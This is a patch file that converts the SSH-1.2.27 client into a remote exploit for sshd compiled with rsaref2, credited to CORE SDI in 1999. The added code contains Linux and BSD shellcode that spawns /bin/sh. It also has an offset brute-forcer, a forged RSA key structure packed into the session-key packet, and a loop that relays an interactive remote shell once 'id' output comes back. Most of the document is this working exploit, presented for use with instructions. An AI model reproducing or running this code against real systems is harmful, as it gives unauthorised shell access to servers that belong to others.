diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi *** ssh-1.2.27/README.coresdi Wed Dec 31 21:00:00 1969 --- ssh-1.2.27-exploit/README.coresdi Tue Dec 14 19:21:10 1999 *************** *** 0 **** --- 1,32 ---- + /* + * + * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in + * (--with-rsaref) + * + * Author: Alberto Solino + * + * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina. + * All rights reserved. + * + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES + * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING + * FROM THE USE OR MISUSE OF THIS SOFTWARE. + * + */ + + Tested on + SSH-1.2.27 Linux RedHat 6.0 + SSh-1.2.27 OpenBSD 2.6 + + Details + Relies on offsets taken from JUMP_TO_MY_KEY that are different on + different boxes. + If it doesnt work, check inside incoming.buf for the string "BETO" + and find the proper offsets from there. + Additionally, the -f nad -t options are available, to provide + a range of addresses and try to brute force remotely the right + one. + Specify the target os type with -o + Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub *** ssh-1.2.27/exploit_key.pub Wed Dec 31 21:00:00 1969 --- ssh-1.2.27-exploit/exploit_key.pub Tue Nov 30 01:14:10 1999 *************** *** 0 **** --- 1 ---- + 1024 35 126711790959034717449904354103174105464423905750911738400315407900752946071988773532672356922306687685191424606806952947660867911760697942514594956213990584856991678398353026692681430136274853402829183803383791361598788187120276305630837366787507026341329913385926890796258293060370046555624537870005279144741 root@jack Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2 diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history *** ssh-1.2.27/history Wed Dec 31 21:00:00 1969 --- ssh-1.2.27-exploit/history Tue Nov 16 21:41:36 1999 *************** *** 0 **** --- 1,7 ---- + Tue Nov 16 19:58:04 ART 1999 + En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia + el tamanio del modulo que esta en privatekey, pero la longitud de los numeros + nunca es mayor que 128. + Tue Nov 16 21:41:15 ART 1999 + overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse... + Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2 diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c *** ssh-1.2.27/ssh.c Wed May 12 08:19:28 1999 --- ssh-1.2.27-exploit/ssh.c Tue Dec 14 19:03:59 1999 *************** *** 202,208 **** #include "readconf.h" #include "userfile.h" #include "emulate.h" - #ifdef LIBWRAP #include #include --- 202,207 ---- *************** *** 212,217 **** --- 211,249 ---- int allow_severity = LOG_INFO; int deny_severity = LOG_WARNING; #endif /* LIBWRAP */ + #ifdef SSH_EXPLOIT + #define BETO_STR 0x80850f8 + unsigned long exp_offset=BETO_STR; + unsigned long exp_offset_to=BETO_STR; + unsigned char *shell_code; + unsigned long shell_code_len=0; + unsigned char linux_shell_code[]= + {0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 + ,0xeb ,0x44 ,0x5e ,0x89 ,0x76 + ,0x08 ,0x31 ,0xc0 ,0x88 ,0x46 ,0x07 ,0x89 ,0x46 + ,0x0c ,0x56 ,0xb9 ,0x00 ,0x00 ,0x00 ,0x00 ,0xbb + ,0x05 ,0x00 ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80 + ,0xb9 ,0x01 ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00 + ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80 ,0xb9 ,0x02 + ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00 ,0x00 ,0x00 + ,0xb0 ,0x3f ,0xcd ,0x80 ,0x5e ,0xb0 ,0x0b ,0x89 + ,0xf3 ,0x8d ,0x4e ,0x08 ,0x8d ,0x56 ,0x0c ,0xcd + ,0x80 ,0xe8 ,0xb7 ,0xff ,0xff ,0xff ,0x2f ,0x62 + ,0x69 ,0x6e ,0x2f ,0x73 ,0x68 ,0x00}; + unsigned char bsd_shell_code[]= + {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0xeb, 0x45, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0, + 0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0x6a, 0x00, + 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00, + 0xcd, 0x80, 0x6a, 0x01, 0x6a, 0x05, 0x51, 0xb8, + 0x5a, 0x00, 0x00, 0x00, 0xcd, 0x80, 0x6a, 0x02, + 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00, + 0xcd, 0x80, 0x6a, 0x00, 0x8d, 0x46, 0x08, 0x50, + 0x8b, 0x46, 0x08, 0x50, 0xb8, 0x3b, 0x00, 0x00, + 0x00, 0x31, 0xc9, 0x41, 0x51, 0xcd, 0x80, 0xe8, + 0xb6, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, + 0x2f, 0x73, 0x68, 0x00}; + #endif /* Random number generator state. This is initialized in ssh_login, and left initialized. This is used both by the packet module and by various *************** *** 275,280 **** --- 307,322 ---- /* Prints a help message to the user. This function never returns. */ void usage(void) { + #ifdef SSH_EXPLOIT + fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n"); + fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0); + fprintf(stderr, "where:\n"); + fprintf(stderr, "\toffset_from: start offset for brute force\n"); + fprintf(stderr, "\toffset_to: end offset for brute force\n"); + fprintf(stderr, "\tostype: remote machine ostype\n"); + fprintf(stderr, " BSD : for (*BSD)\n"); + fprintf(stderr, " Linux : for Intel Linuxes\n\n"); + #else fprintf(stderr, "Usage: %s [options] host [command]\n", av0); fprintf(stderr, "Options:\n"); fprintf(stderr, " -l user Log in using this user name.\n"); *************** *** 321,326 **** --- 363,369 ---- fprintf(stderr, " -C Enable compression.\n"); fprintf(stderr, " -g Allow remote hosts to connect to local port forwardings\n"); fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n"); + #endif exit(1); } *************** *** 504,510 **** --- 547,557 ---- opt = av[optind][1]; if (!opt) usage(); + #ifdef SSH_EXPLOIT + if (strchr("fto", opt)) /* options with arguments */ + #else if (strchr("eilcpLRo", opt)) /* options with arguments */ + #endif { optarg = av[optind] + 2; if (strcmp(optarg, "") == 0) *************** *** 522,527 **** --- 569,594 ---- } switch (opt) { + #ifdef SSH_EXPLOIT + case 'f': + exp_offset = strtoul(optarg,NULL,16); + break; + case 't': + exp_offset_to = strtoul(optarg,NULL,16); + break; + case 'o': + if ( !strcmp(optarg,"BSD") ) { + shell_code = bsd_shell_code; + shell_code_len = sizeof(bsd_shell_code); + } + else if ( !strcmp(optarg,"Linux") ) { + shell_code = linux_shell_code; + shell_code_len = sizeof(linux_shell_code); + } + else + usage(); + break; + #else case 'n': stdin_null_flag = 1; break; *************** *** 681,692 **** case 'g': options.gateway_ports = 1; break; ! default: usage(); } } ! /* Check that we got a host name. */ if (!host) usage(); --- 748,766 ---- case 'g': options.gateway_ports = 1; break; ! #endif default: usage(); } } ! #ifdef SSH_EXPLOIT ! if ( shell_code == NULL ) ! usage(); ! if ( exp_offset_to < exp_offset ) { ! fprintf(stderr,"Invalid offsets!\n"); ! usage(); ! } ! #endif /* Check that we got a host name. */ if (!host) usage(); *************** *** 793,798 **** --- 867,876 ---- rhosts_authentication is true. Note that the random_state is not yet used by this call, although a pointer to it is stored, and thus it need not be initialized. */ + #ifdef SSH_EXPLOIT + do + { + #endif ok = ssh_connect(host, options.port, options.connection_attempts, !use_privileged_port, original_real_uid, options.proxy_command, &random_state); *************** *** 846,857 **** original_real_uid); options.user_hostfile = tilde_expand_filename(options.user_hostfile, original_real_uid); ! /* Log into the remote system. This never returns if the login fails. Note: this initializes the random state, and leaves it initialized. */ ssh_login(&random_state, host_private_key_loaded, &host_private_key, host, &options, original_real_uid); ! /* We no longer need the host private key. Clear it now. */ if (host_private_key_loaded) rsa_clear_private_key(&host_private_key); --- 924,941 ---- original_real_uid); options.user_hostfile = tilde_expand_filename(options.user_hostfile, original_real_uid); ! #ifdef SSH_EXPLOIT ! fprintf(stdout,"Tryin'... 0x%x\n",exp_offset); ! #endif /* Log into the remote system. This never returns if the login fails. Note: this initializes the random state, and leaves it initialized. */ ssh_login(&random_state, host_private_key_loaded, &host_private_key, host, &options, original_real_uid); ! #ifdef SSH_EXPLOIT ! exp_offset++; ! } while (exp_offset<=exp_offset_to); ! fprintf(stderr,"Didn't work ;( \n"); ! #endif /* We no longer need the host private key. Clear it now. */ if (host_private_key_loaded) rsa_clear_private_key(&host_private_key); diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c *** ssh-1.2.27/sshconnect.c Wed May 12 08:19:29 1999 --- ssh-1.2.27-exploit/sshconnect.c Thu Dec 9 17:09:39 1999 *************** *** 214,220 **** #include "mpaux.h" #include "userfile.h" #include "emulate.h" - #ifdef KERBEROS #ifdef KRB5 #include --- 214,219 ---- *************** *** 1271,1276 **** --- 1270,1280 ---- const char *orighost, Options *options, uid_t original_real_uid) { + #ifdef SSH_EXPLOIT + extern unsigned long exp_offset; + extern unsigned char *shell_code; + extern unsigned long shell_code_len; + #endif int i, type, len, f; char buf[1024], seedbuf[16]; char *password; *************** *** 1278,1283 **** --- 1282,1298 ---- MP_INT key; RSAPublicKey host_key; RSAPublicKey public_key; + #ifdef SSH_EXPLOIT + MP_INT fakekey; + int retval; + unsigned char first; + struct sockaddr_in sin; + int sin_len=sizeof(struct sockaddr_in); + RSAPrivateKey myfakeKey; + RSAPrivateKey myPrivateKey; + char private_key_filename[]="exploit_key"; + fd_set rfds; + #endif unsigned char session_key[SSH_SESSION_KEY_LENGTH]; const char *server_user, *local_user; char *cp, *host; *************** *** 1501,1506 **** --- 1516,1522 ---- /* Generate an encryption key for the session. The key is a 256 bit random number, interpreted as a 32-byte key, with the least significant 8 bits being the first byte of the key. */ + for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) session_key[i] = random_get_byte(state); *************** *** 1519,1532 **** else mpz_add_ui(&key, &key, session_key[i]); } ! /* Encrypt the integer using the public key and host key of the server (key with smaller modulus first). */ if (mpz_cmp(&public_key.n, &host_key.n) < 0) { /* Public key has smaller modulus. */ assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED); - rsa_public_encrypt(&key, &key, &public_key, state); rsa_public_encrypt(&key, &key, &host_key, state); } --- 1535,1552 ---- else mpz_add_ui(&key, &key, session_key[i]); } ! #ifdef SSH_EXPLOIT ! if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) { ! fprintf(stderr,"Cannot locate private key %s\n",private_key_filename); ! exit(1); ! } ! #endif /* Encrypt the integer using the public key and host key of the server (key with smaller modulus first). */ if (mpz_cmp(&public_key.n, &host_key.n) < 0) { /* Public key has smaller modulus. */ assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED); rsa_public_encrypt(&key, &key, &public_key, state); rsa_public_encrypt(&key, &key, &host_key, state); } *************** *** 1534,1540 **** { /* Host key has smaller modulus (or they are equal). */ assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED); - rsa_public_encrypt(&key, &key, &host_key, state); rsa_public_encrypt(&key, &key, &public_key, state); } --- 1554,1559 ---- *************** *** 1564,1569 **** --- 1583,1637 ---- for (i = 0; i < 8; i++) packet_put_char(check_bytes[i]); + #ifdef SSH_EXPLOIT + for ( i = 0 ; i < 16; i++ ) { + mpz_mul_2exp(&key, &key, 8); + mpz_add_ui(&key, &key, i+1); + } + /* Aca seto el lugar donde va a estar la clave nueva cambiada*/ + for ( i = 0; i < 4 ; i++ ) { + mpz_mul_2exp(&key,&key,8); + mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff)); + } + + /* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/ + key._mp_d[31]=0; + key._mp_d[32]=0; + key._mp_d[3]=htonl(exp_offset+0x5b); + /* Ret address a mi codigo */ + //key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta + /* + No se porque mierda ahora hay que invertilo... + key._mp_d[3]=JUMP_TO_MY_KEY+80; + */ + + myfakeKey.bits = 1182; /* Tamanio de la clave */ + myfakeKey.n._mp_alloc = 33; + myfakeKey.n._mp_size = 32; + myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184); + + myfakeKey.e._mp_alloc = 1; + myfakeKey.e._mp_size = 1; + myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316); + + myfakeKey.d._mp_alloc = 1; + myfakeKey.d._mp_size = 1; + myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25); + + myfakeKey.u._mp_alloc = 17; + myfakeKey.u._mp_size = 16; + myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460); + + myfakeKey.p._mp_alloc = 17; + myfakeKey.p._mp_size = 16; + myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392); + + myfakeKey.q._mp_alloc = 17; + myfakeKey.q._mp_size = 16; + myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324); + + #endif + /* Send the encrypted encryption key. */ packet_put_mp_int(&key); *************** *** 1571,1579 **** --- 1639,1686 ---- packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN); /* Send the packet now. */ + #ifdef SSH_EXPLOIT + packet_put_string("BETO",4); + packet_put_string((char *)&myfakeKey,sizeof(myfakeKey)); + packet_put_string(shell_code, shell_code_len); + packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4); + packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4); + packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4); + packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4); + packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4); + #endif packet_send(); packet_write_wait(); + #ifdef SSH_EXPLOIT + usleep(10); + first = 1; + i = write(packet_get_connection_in(),"id\n",3); + if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1) + return; + + while (1) { + FD_ZERO(&rfds); + FD_SET(packet_get_connection_in(),&rfds); + FD_SET(STDIN_FILENO,&rfds); + if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 ) + return; + if (FD_ISSET(STDIN_FILENO,&rfds)) { + i=read(STDIN_FILENO,buf,sizeof(buf)); + write(packet_get_connection_out(),buf,i); + } else if (FD_ISSET(packet_get_connection_in(),&rfds)) { + i=read(packet_get_connection_in(),buf,sizeof(buf)); + if ( first ) + if ( strncmp(buf,"uid",3) ) + return; + else { + fprintf(stdout,"Got it!\n"); + first = 0; + } + write(STDOUT_FILENO,buf,i); + } + } + #endif /* Destroy the session key integer and the public keys since we no longer need them. */ mpz_clear(&key); *************** *** 1583,1588 **** --- 1690,1697 ---- debug("Sent encrypted session key."); /* Set the encryption key. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120, + options->cipher, 1); packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, options->cipher, 1); Common subdirectories: ssh-1.2.27/zlib-1.0.4 and ssh-1.2.27-exploit/zlib-1.0.4